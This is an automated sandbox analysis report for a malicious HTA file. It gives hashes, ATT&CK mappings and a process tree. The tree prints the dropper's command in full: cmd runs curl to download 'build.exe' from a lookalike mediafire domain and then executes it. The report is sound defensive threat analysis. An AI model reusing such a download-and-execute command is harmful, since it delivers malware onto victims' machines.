d5647dd8dbd73ac01bad18aefafab4b7848861c12eaff129b37f65cfc940575d

Analysis

max time kernel
92s
max time network
123s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
09/06/2024, 01:49

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

d5647dd8dbd73ac01bad18aefafab4b7848861c12eaff129b37f65cfc940575d.hta
Size

173B
MD5

81d631fdb7e6f1d8b2222355bdea0d92
SHA1

fc5a81c0b9df522b041caf2557f152514ccfcd5c
SHA256

d5647dd8dbd73ac01bad18aefafab4b7848861c12eaff129b37f65cfc940575d
SHA512

1baab86587eeef814752265b1d340e41f0063b19621e184cdc2a8fb7b7471587b35f00cace53e24ebd1d2bbb287836cd24eb6fa04863332e486a5dce3d1023ec

Score

8^/10

Malware Config

Signatures

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation	mshta.exe

Executes dropped EXE 1 IoCs

pid	Process
2080	build.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4440	2080	WerFault.exe	88

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 2848 wrote to memory of 1908	2848	mshta.exe	83
PID 2848 wrote to memory of 1908	2848	mshta.exe	83
PID 2848 wrote to memory of 1908	2848	mshta.exe	83
PID 1908 wrote to memory of 5044	1908	cmd.exe	86
PID 1908 wrote to memory of 5044	1908	cmd.exe	86
PID 1908 wrote to memory of 5044	1908	cmd.exe	86
PID 1908 wrote to memory of 2080	1908	cmd.exe	88
PID 1908 wrote to memory of 2080	1908	cmd.exe	88
PID 1908 wrote to memory of 2080	1908	cmd.exe	88

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\d5647dd8dbd73ac01bad18aefafab4b7848861c12eaff129b37f65cfc940575d.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2848
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c curl -L https://mediafire.zip/build.exe -o build.exe & build.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1908
- - C:\Windows\SysWOW64\curl.exe
    curl -L https://mediafire.zip/build.exe -o build.exe
    3⤵
    PID:5044
- - C:\Users\Admin\AppData\Local\Temp\build.exe
    build.exe
    3⤵
    - Executes dropped EXE
    PID:2080
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2080 -s 476
      4⤵
      Program crash
      PID:4440

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 2080 -ip 2080
1⤵
PID:1044

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\build.exe

Filesize
3.0MB

MD5
05eecfc1820ab3273409323601a71f23

SHA1
5076d5c3a1aa6f2ffcc299f803d0dd01b33d6dd7

SHA256
4a72f3948f014c2ded502832814c6d65feb78bd1caef7df8bcecb78f7a90b6e2

SHA512
81d10658aaf6d6341b929dcdb1eccd97dd752b7cbe7b497ed85b88a03ea540a2de6b24ae98ace353e861d1ea7ad181449e332dec26b075c4684c7286cc167a00

Download Submit
memory/2080-4-0x0000000000400000-0x0000000000704000-memory.dmp

Filesize
3.0MB

Download
memory/2080-5-0x0000000000407000-0x0000000000421000-memory.dmp

Filesize
104KB

Download